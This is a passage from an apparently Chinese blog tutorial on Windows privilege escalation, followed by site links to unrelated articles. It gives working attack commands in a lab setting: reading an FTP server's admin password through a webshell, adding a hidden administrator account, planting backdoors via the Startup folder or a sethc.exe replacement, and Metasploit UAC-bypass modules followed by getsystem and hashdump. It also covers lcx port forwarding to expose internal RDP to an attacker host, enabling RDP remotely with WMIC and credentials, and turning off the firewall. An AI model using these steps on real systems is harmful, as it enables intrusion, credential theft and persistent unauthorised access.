  <p><a href="http://img.e-com-net.com/image/info8/2b3d458a7d064d53b47cd654e18ab5ce.png" target="_blank"><img alt="windows 提权_第18张图片" height="301" src="http://img.e-com-net.com/image/info8/2b3d458a7d064d53b47cd654e18ab5ce.png" width="785" style="border:1px solid black;"></a></p> 
  <p> (2)对于目标 G6FTP 的密码的问题,可以通过 webshell 访问:</p> 
  <pre><code>C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f3bda108cff44b318a3822089005dd9d.jpg" target="_blank"><img alt="windows 提权_第19张图片" height="173" src="http://img.e-com-net.com/image/info8/f3bda108cff44b318a3822089005dd9d.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>来查看密码<br> (3)连接 目标的 G6FTP ,在域中创建用户,开放 C:的权限,执行创建用户的指令</p> 
  <p><a href="http://img.e-com-net.com/image/info8/e4c7a32b59b442bfb19863e9df00f7e8.jpg" target="_blank"><img alt="windows 提权_第20张图片" height="413" src="http://img.e-com-net.com/image/info8/e4c7a32b59b442bfb19863e9df00f7e8.jpg" width="650" style="border:1px solid black;"></a></p> 
  <pre><code>net user chunc 123456 /add && net localgroup administrators chunc /add</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/491b8b4899454beda5a1ec5d9f1f8e2e.jpg" target="_blank"><img alt="windows 提权_第21张图片" height="340" src="http://img.e-com-net.com/image/info8/491b8b4899454beda5a1ec5d9f1f8e2e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>(4)连接 FTP :</p> 
  <p>在 cmd 中输入:</p> 
  <pre><code>ftp 192.168.103.154</code></pre> 
  <p>然后输入刚才创建的账号和密码:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/270d7174b5e043b7ab25036a9586cb04.jpg" target="_blank"><img alt="windows 提权_第22张图片" height="284" src="http://img.e-com-net.com/image/info8/270d7174b5e043b7ab25036a9586cb04.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>(5)执行设置好的命令:</p> 
  <pre><code>quote stie ADD</code></pre> 
  <p>如果可以执行的化就执行成功了</p> 
  <p>(6)也可以通过添加的 ftp 账号来使用伪协议进行文件写入,或是文件替换来实现自启动提权:</p> 
  <pre><code>1、可以把可执行的后门文件上传到:
C:/Users/用户名/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/ 目录下
2、把后门文件重命名为:sethc.exe
替换到:C:\Windows\System32 目录下</code></pre> 
  <h4>十二、绕过 uac(bypassuac)</h4> 
  <p>12.1  描述:</p> 
  <p>        UAC(UserAccount Control,用户账户控制)简言之就是在 Vista 及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/ec14b040fe764e2eb65d5488ba2ebd3e.jpg" target="_blank"><img alt="windows 提权_第23张图片" height="294" src="http://img.e-com-net.com/image/info8/ec14b040fe764e2eb65d5488ba2ebd3e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>        为了远程执行目标的 exe 或者 bat 可执行文件绕过此安全机制,以此叫 BypassUAC(不进行弹窗直接运行执行文件)</p> 
  <p>12.2  使用 msf 进行绕过:</p> 
  <p>1、先使用 msf 获取 shell,然后 background</p> 
  <p>2、使用如下命令来使用模块:</p> 
  <pre><code>use exploit/windows/local/bypassuac 或 use exploit/windows/local/bypassuac_injection
set session 1
exploit</code></pre> 
  <p>原理:</p> 
  <p>        此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭 UAC 标志的第二个shell。此模块使用反射 DLL 注入技术,仅丢弃 DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构 x64(也适用于 SYSWOW64 系统)。如果指定 EXE::自定义 DLL 应在单独启动有效负载后调用 ExitProcess()</p> 
  <p>3、若以上模块都不能生成第二个 shell,可以 search uac,使用其它模块,比如:</p> 
  <pre><code>exploit/windows/local/bypassuac_sdclt</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/7c8c442178964952b0c2f0603de26e5d.jpg" target="_blank"><img alt="" height="74" src="http://img.e-com-net.com/image/info8/7c8c442178964952b0c2f0603de26e5d.jpg" width="650"></a></p> 
  <p>        注意,architecture 和 meterpreter 都要是 x64 才能执行下述命令,如果 meterpreter 是 x86 需要迁移进程到 x64 的进程中:<a href="http://img.e-com-net.com/image/info8/6ff98ca1ec9a4602b41fe00920c9848f.jpg" target="_blank"><img alt="windows 提权_第24张图片" height="241" src="http://img.e-com-net.com/image/info8/6ff98ca1ec9a4602b41fe00920c9848f.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>4、执行下述命令:</p> 
  <pre><code>getsystem
hashdump</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/3fe94c2bb3444bcf88fcad563d45bf1e.jpg" target="_blank"><img alt="windows 提权_第25张图片" height="277" src="http://img.e-com-net.com/image/info8/3fe94c2bb3444bcf88fcad563d45bf1e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p> 具体说明作用暂且不表。</p> 
  <h4>十三、lcx 端口转发</h4> 
  <p>13.1  工具描述:<br>         lcx 是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的 webshell 下执行,正因如此 lcx 常被认为是一款黑客入侵工具,lcx 在内网入侵渗透中起着重要的角色。lcx 进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网 3389 端口。</p> 
  <pre><code>-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

eg:lck.exe -tran 3344 127.0.0.1 8021</code></pre> 
  <p>13.2  本地转发:</p> 
  <p>1、描述:</p> 
  <p>        把本地的(127.0.0.1)端口转发出来,让外部进行连接</p> 
  <p>2、实现:</p> 
  <pre><code>lck.exe -tran 3344 127.0.0.1 8021</code></pre> 
  <p>13.3  远程转发:</p> 
  <p>1、描述:</p> 
  <p>        远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。</p> 
  <p>2、复现:</p> 
  <p>(1)目标主机(192.168.103.154):</p> 
  <pre><code>lcx.exe -slave 192.168.103.154 5566 127.0.0.1 3389</code></pre> 
  <p>把本地受保护的 3389 端口转发到 192.168.103.154 的 5566 端口</p> 
  <p>(2)攻击主机(192.168.103.153):</p> 
  <pre><code>lcx.exe -listen 7788 5566</code></pre> 
  <p>(3)这时候攻击主机可以使用 127.0.0.1:7788 来远程连接目标主机</p> 
  <p>(4)这时候第三方主机可以使用 192.168.103.153:7788 来连接目标主机</p> 
  <h4>十四、远程终端开启</h4> 
  <h5>14.1  注册表开启远程终端</h5> 
  <p>1、描述:</p> 
  <p>        远程终端的默认端口是 3389 ,云 vps 一般会开启,在没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。</p> 
  <p>2、2008 2012 2016 开启 3389</p> 
  <p>(1)编辑 1.bat 文件:</p> 
  <pre><code>echo DO ALL IN CMD!

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
</code></pre> 
  <p>(2) 上传到目标主机后运行</p> 
  <p>3、MSF 命令开启 3389 端口</p> 
  <p>(1)获取到目标主机的 shell</p> 
  <p>(2)background 后使用如下命令:</p> 
  <pre><code>use post/windows/manage/enable_rdp
set session 1
exploit
</code></pre> 
  <p>4、cmd 命令开启 3389:</p> 
  <pre><code>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f</code></pre> 
  <p>5、WMIC 命令开启 3389 :</p> 
  <pre><code>wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1</code></pre> 
  <p>前提条件是确保 "Windows Management Instrumentation(Winmgmt)" 服务已正常启动 </p> 
  <p>6、WMIC 远程开启 3389:</p> 
  <p>(1)支持系统:Win2k/XP/Win2k3</p> 
  <pre><code>wmic /node:192.168.103.154 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1</code></pre> 
  <p>(2)支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016</p> 
  <pre><code>wmic /node:192.168.103.154 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='08serverR2-1' call SetAllowTSConnections 1
或
wmic /node:192.168.103.154 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'</code></pre> 
  <p>        其实就是利用 WMIC 远程执行命令的方式来执行 WMIC、REG 等开启 3389 端口的命令。<br> WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。<br> 错误:描述 = 拒绝访问,这是因为开启了 UAC 用户账户控制,只允许RID500管理员执行此操作。</p> 
  <h5>14.2  查询是否开启 3389 及端口号</h5> 
  <p>1、执行命令,返回 0x0 则为开启,0x1 则为未开启:</p> 
  <pre><code>REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections</code></pre> 
  <p>2、用注册表查询端口号:</p> 
  <p>(1)上传 webshell</p> 
  <p>(2)在 regshell 中查询</p> 
  <pre><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\</code></pre> 
  <p>3、命令查询端口号:</p> 
  <pre><code>REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
或
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp" /v PortNumber
转码
set /a Port=0xd3d</code></pre> 
  <p>4、用服务来查询端口号:</p> 
  <pre><code>tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"</code></pre> 
  <p>5、直接查询服务:</p> 
  <pre><code>net start </code></pre> 
  <p> <img alt="" height="25" src="http://img.e-com-net.com/image/info8/af57d8f238e746dfb1df07f2e22a3946.jpg" width="274"></p> 
  <h5>14.3  连接不上的一些操作</h5> 
  <p>1、关闭防火墙:</p> 
  <pre><code>netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
netsh advfirewall set allprofiles state on 启动防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙</code></pre> 
  <p>2、关闭 ipsec:</p> 
  <pre><code>net stop "IPsec Policy Agent"</code></pre> 
  <p>3、若出现如下报错:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/5d0dc009cc764a1ea305bea8d7446ca2.jpg" target="_blank"><img alt="windows 提权_第26张图片" height="262" src="http://img.e-com-net.com/image/info8/5d0dc009cc764a1ea305bea8d7446ca2.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>说明远程桌面连接被设置为了: <a href="http://img.e-com-net.com/image/info8/e5940639e53440aa90ceddf2a145e670.png" target="_blank"><img alt="windows 提权_第27张图片" height="314" src="http://img.e-com-net.com/image/info8/e5940639e53440aa90ceddf2a145e670.png" width="571" style="border:1px solid black;"></a></p> 
  <p>这时候可以:</p> 
  <p>(1)换相同或版本接近的操作系统</p> 
  <p>(2)使用工具 xfreerdp(kali 自带):</p> 
  <pre><code>xfreerdp /f /u:administrator /p:123456 /v:192.168.103.154</code></pre> 
  <p>4、若出现如下报错:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/32e5289c5bc24fc0962e4f45ee421225.jpg" target="_blank"><img alt="windows 提权_第28张图片" height="183" src="http://img.e-com-net.com/image/info8/32e5289c5bc24fc0962e4f45ee421225.jpg" width="619" style="border:1px solid black;"></a></p> 
  <p>说明该用户没有在远程桌面组中,需要添加:</p> 
  <pre><code>net localgroup "Remote Desktop Users" chun /add</code></pre> 
  <p>5、终端超出最大连接数时可用下面的命令来连接:</p> 
  <pre><code>mstsc /v:192.168.103.154:3389 /console</code></pre> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1748006840043585536"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全,笔记,服务器)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1885001426787168256.htm"
                           title="数据库物理备份:保障数据完整性和业务连续性的关键策略" target="_blank">数据库物理备份:保障数据完整性和业务连续性的关键策略</a>
                        <span class="text-muted">qcidyu</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>title:数据库物理备份:保障数据完整性和业务连续性的关键策略date:2025/1/29updated:2025/1/29author:cmdragonexcerpt:在现代企业中,数据被视为最重要的资产之一。因此,确保数据的安全性、完整性和可用性是每个数据库管理员(DBA)的首要任务。在数据管理的过程中,备份与恢复是必不可少的策略,尤其是物理备份。物理备份通过直接复制数据库的物理文件,从而实</div>
                    </li>
                    <li><a href="/article/1885001174722080768.htm"
                           title="Go语言学习笔记——gin实现验证码" target="_blank">Go语言学习笔记——gin实现验证码</a>
                        <span class="text-muted">PPPsych</span>
<a class="tag" taget="_blank" href="/search/Go%E7%B2%BE%E8%BF%9B/1.htm">Go精进</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/gin/1.htm">gin</a>
                        <div>文章目录Golang验证码知识结构下载包导包配置session创建中间件生成图片生成验证码验证前端页面测试Golang验证码知识结构ginsession中间件表单处理路由下载包gogetgithub.com/dchest/captcha导包import("bytes""net/http""time""github.com/dchest/captcha""github.com/gin-contrib</div>
                    </li>
                    <li><a href="/article/1884999786982076416.htm"
                           title="gin框架学习笔记" target="_blank">gin框架学习笔记</a>
                        <span class="text-muted">蛮吉(lambda)</span>
<a class="tag" taget="_blank" href="/search/go/1.htm">go</a><a class="tag" taget="_blank" href="/search/gin/1.htm">gin</a><a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a>
                        <div>gin框架学习笔记官网reviewgin是用go编写的web框架,由于httprputer(基于radix树路由)速度快了40倍,支持中间件,路由组处理,json等多方式验证,内置了json/xml/html等渲染,是一个易于使用的go框架如果是用常量,比如http.statusOkimpport“net/http”gin使用默认的encoding/json作为默认的json包,但是可以通过其他标</div>
                    </li>
                    <li><a href="/article/1884999283275526144.htm"
                           title="【SpringCloud微服务实战08】RabbitMQ 消息队列" target="_blank">【SpringCloud微服务实战08】RabbitMQ 消息队列</a>
                        <span class="text-muted">李维山</span>
<a class="tag" taget="_blank" href="/search/MQ%E5%AE%9E%E6%88%98/1.htm">MQ实战</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/cloud/1.htm">cloud</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a>
                        <div>MQ异步通信优缺点:优点:吞吐量提升:无需等待订阅者处理完成,响应更快速故障隔离:服务没有直接调用,不存在级联失败问题调用间没有阻塞,不会造成无效的资源占用耦合度极低,每个服务都可以灵活插拔,可替换流量削峰:不管发布事件的流量波动多大,都由Broker接收,订阅者可以按照自己的速度去处理事件缺点:架构复杂了,业务没有明显的流程线,不好管理需要依赖于Broker的可靠、安全、性能常见MQ对比:一、R</div>
                    </li>
                    <li><a href="/article/1884995123142520832.htm"
                           title="《告别监控焦虑!Kylin系统Zabbix保姆级安装手册》" target="_blank">《告别监控焦虑!Kylin系统Zabbix保姆级安装手册》</a>
                        <span class="text-muted">入眼皆含月</span>
<a class="tag" taget="_blank" href="/search/kylin/1.htm">kylin</a><a class="tag" taget="_blank" href="/search/zabbix/1.htm">zabbix</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a>
                        <div>一、概况Zabbix是一个广泛使用的企业级开源监控解决方案,能够监控网络、服务器、虚拟机和云服务等IT基础设施。它通过灵活的通知机制,使用户能够为几乎所有事件配置基于电子邮件的警报,从而快速响应服务器问题。二、Zabbix的主要功能(1)全面的监控能力:能够监控几乎所有类型的IT组件,包括操作系统性能、网络设备、数据库、应用程序等。(2)灵活的数据收集方式:支持多种数据收集方法,如SNMP、IPM</div>
                    </li>
                    <li><a href="/article/1884991470243475456.htm"
                           title="留学生scratch计算机haskell函数ocaml编程ruby语言prolog作业VB" target="_blank">留学生scratch计算机haskell函数ocaml编程ruby语言prolog作业VB</a>
                        <span class="text-muted">matlabgoodboy</span>
<a class="tag" taget="_blank" href="/search/ruby/1.htm">ruby</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>您列出了一系列编程语言和技术,这些可能是您在留学期间需要学习或完成作业的内容。以下是对每个项目的简要说明和它们可能涉及的领域或用途:Scratch:Scratch是一种图形化编程语言,专为儿童和初学者设计,用于教授编程基础概念。它通过拖拽代码块来创建程序,非常适合学习算法、逻辑和基本的编程概念。计算机(科学):这是一个广泛的领域,涉及计算机硬件、软件、算法、数据结构、网络安全等多个方面。留学生可能</div>
                    </li>
                    <li><a href="/article/1884988443461742592.htm"
                           title="python断言assert实例_python接口测试assert断言" target="_blank">python断言assert实例_python接口测试assert断言</a>
                        <span class="text-muted">weixin_39722921</span>

                        <div>广告关闭腾讯云11.11云上盛惠,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元!unittest.texttestrunner(verbosity=2).run(suite)在一个测试用例中,会有期望结果这个说法,来验证这个测试用例是通过还是失败,在unittest的测试框架中,也提供了assert,我们先来看python中的断言assert,来修改下源码,看看p</div>
                    </li>
                    <li><a href="/article/1884986422465720320.htm"
                           title="Oracle 统计信息笔记----一、表的统计信息" target="_blank">Oracle 统计信息笔记----一、表的统计信息</a>
                        <span class="text-muted">w.ang.jie</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E9%9A%8F%E8%AE%B0/1.htm">随记</a><a class="tag" taget="_blank" href="/search/%E7%BB%9F%E8%AE%A1%E4%BF%A1%E6%81%AF/1.htm">统计信息</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E7%BB%9F%E8%AE%A1%E4%BF%A1%E6%81%AF/1.htm">统计信息</a>
                        <div>sosi.txt脚本:SHOWOptimizerStatisticsInformation;显示表级别、分区级别、子分区级别的统计信息。Oracle数据库的统计信息存储在数据字典里1.对表test收集统计信息avg_row_len:表示目标表的平均行长度。(不算行头)数字100在Oracle数据块的行里占2字节,加上描述其长度的1字节,一共3字节同理,'CUIHUA’一共占6+1=7字节。两个字段</div>
                    </li>
                    <li><a href="/article/1884986295718047744.htm"
                           title="011-mac自带vnc" target="_blank">011-mac自带vnc</a>
                        <span class="text-muted">会飞的爱迪生</span>
<a class="tag" taget="_blank" href="/search/mac/1.htm">mac</a><a class="tag" taget="_blank" href="/search/vnc/1.htm">vnc</a>
                        <div>1、mac自带vnc工具可以连接centos7.9图形界面command+空格打开聚焦搜索,输入共享屏幕,选择第一个程序或者桌面——前往——连接服务器vnc://192.168.64.8:5901</div>
                    </li>
                    <li><a href="/article/1884974567127052288.htm"
                           title="如何在Google Chrome浏览器中设置代理服务" target="_blank">如何在Google Chrome浏览器中设置代理服务</a>
                        <span class="text-muted">m0_74824170</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/1.htm">学习路线</a><a class="tag" taget="_blank" href="/search/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4/1.htm">阿里巴巴</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>在日常使用互联网时,很多用户希望通过代理服务器来增强隐私保护、突破地理限制或访问受限内容。谷歌浏览器(GoogleChrome)作为全球最常用的浏览器之一,并不直接提供代理设置的选项,但我们可以通过操作系统的设置或借助第三方扩展来实现代理配置。一、什么是代理服务代理服务是指当用户发出请求时,代理服务器会代替用户向目标网站发送请求并接收响应。通过这种方式,代理服务器可以隐藏用户的真实IP地址,从而提</div>
                    </li>
                    <li><a href="/article/1884971923314634752.htm"
                           title="使用OpenSSL库接口,实现AES CBC加密,基于X509 base64编码证书的RSA非对称加密例子" target="_blank">使用OpenSSL库接口,实现AES CBC加密,基于X509 base64编码证书的RSA非对称加密例子</a>
                        <span class="text-muted">GavinFj</span>
<a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80%E7%9B%B8%E5%85%B3/1.htm">C语言相关</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/1.htm">学习总结</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8/1.htm">数据安全</a>
                        <div>RSA加密的填充方式安全不一样,RSA算法PKCS1填充方式没有OAEP填充方式安全;同样的AES选择CBC模式更加安全。网上看了好多例子,都没有使用X509base64编码证书的RSAOAEP填充方式加密。研究记录下RSA、AES的加密,以供参考。话不多说,直接上demo。/*************************************************************</div>
                    </li>
                    <li><a href="/article/1884971666442874880.htm"
                           title="RabbitMQ 持久化与不公平分发" target="_blank">RabbitMQ 持久化与不公平分发</a>
                        <span class="text-muted">小猫猫猫◍˃ᵕ˂◍</span>
<a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a>
                        <div>RabbitMQ持久化与不公平分发1.RabbitMQ持久化(Durability)概念持久化是指将消息或队列保存在磁盘上,以确保即使RabbitMQ服务器宕机或重启,数据也不会丢失。持久化的三个层面队列持久化:队列持久化意味着即使RabbitMQ重启后,队列依然存在,但它不会保证队列中的消息仍然存在。队列持久化声明:channel.queueDeclare("queue_name",true,f</div>
                    </li>
                    <li><a href="/article/1884970784020033536.htm"
                           title="prometheus 服务java服务接入基础镜像配置" target="_blank">prometheus 服务java服务接入基础镜像配置</a>
                        <span class="text-muted">窗外的寒风</span>
<a class="tag" taget="_blank" href="/search/prometheus/1.htm">prometheus</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>环境变量设置:如果不经常修改配置,推荐在java镜像中把prometheus配置通过环境变量的方式统一配置,可以使用下面的参数,把端口进行暴漏(配置安全检查端口9998,启用所有安全检查接口,配置普罗米修斯的监测间隔,设置java服务名,把普罗米修斯的接口提升到根目录)ENVSPRING_APPLICATION_JSON='{"management.server.port":"9998","man</div>
                    </li>
                    <li><a href="/article/1884967253171040256.htm"
                           title="如何使用 Nginx 配置反向代理?" target="_blank">如何使用 Nginx 配置反向代理?</a>
                        <span class="text-muted">IT专家-大狗</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>Nginx是一款高性能的开源Web服务器和反向代理服务器,广泛应用于负载均衡、缓存和静态文件服务。配置Nginx进行反向代理可以有效提高服务器性能,同时保护后端服务。本文将带您了解如何使用Nginx配置反向代理,并结合实际场景,使用Chrome浏览器进行调试和验证。什么是反向代理?反向代理是一种服务器设置,客户端的请求会首先经过代理服务器,再由代理服务器将请求转发至后端服务器。反向代理的主要功能包</div>
                    </li>
                    <li><a href="/article/1884963218145734656.htm"
                           title="非线性动力学笔记C2.6-2.8震荡,势,数值求解" target="_blank">非线性动力学笔记C2.6-2.8震荡,势,数值求解</a>
                        <span class="text-muted">阿北Ben</span>
<a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a>
                        <div>提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言C2一维流动2.6一维流动中震荡(oscillation)的不可能性机械类比2.7势(Potential)例2.7.22.8数值求解(numericalsolution)2.8.1欧拉方法2.8.2例子前言提示:这里可以添加本文要记录的大概内容:参考书《Nonlineardynamicsandchaos》StevenH.S</div>
                    </li>
                    <li><a href="/article/1884954899410644992.htm"
                           title="npm镜像源" target="_blank">npm镜像源</a>
                        <span class="text-muted">jinboliu000</span>
<a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>npm镜像源是npm软件包管理器的服务器地址,用于下载和安装npm包。常见的npm镜像源有以下几种:官方源:npm官方提供的默认源,地址是https://registry.npmjs.org/,但由于位于国外,速度较慢。淘宝源:由淘宝团队提供的镜像源,地址是https://registry.npm.taobao.org/,是国内服务器,因此速度较快。cnpm源:另一个由淘宝团队提供的镜像源,地址是</div>
                    </li>
                    <li><a href="/article/1884953763467292672.htm"
                           title="SpringBoot:RabbitMQ-延迟队列" target="_blank">SpringBoot:RabbitMQ-延迟队列</a>
                        <span class="text-muted">csdnlaoban</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/java-rabbitmq/1.htm">java-rabbitmq</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a>
                        <div>《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》,点击传送门,即可获取!com.alibabafastjson1.2.46org.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-testtest属性配置在application.propertie</div>
                    </li>
                    <li><a href="/article/1884953003719454720.htm"
                           title="MySQL知识点总结(九)" target="_blank">MySQL知识点总结(九)</a>
                        <span class="text-muted">a_j58</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>请说明FILE,PROCESS,RELOAD这三个系统权限的作用?FILE:允许运行SQL语句在服务器主机文件系统中读写文件。PROCESS;允许使用SHOWPROCESSLIST语句查看客户端正在执行的所有语句。RELOAD:允许执行FLUSH语句以重新加载日志和权限表。请说明授权表的内容和它的作用MySQL服务器在启动时将授权表从mysql数据库读取到内存中,所有的访问控制决策都以这些表为依据</div>
                    </li>
                    <li><a href="/article/1884951491945492480.htm"
                           title="MySQL中的读锁与写锁:概念与作用深度剖析" target="_blank">MySQL中的读锁与写锁:概念与作用深度剖析</a>
                        <span class="text-muted">恩爸编程</span>
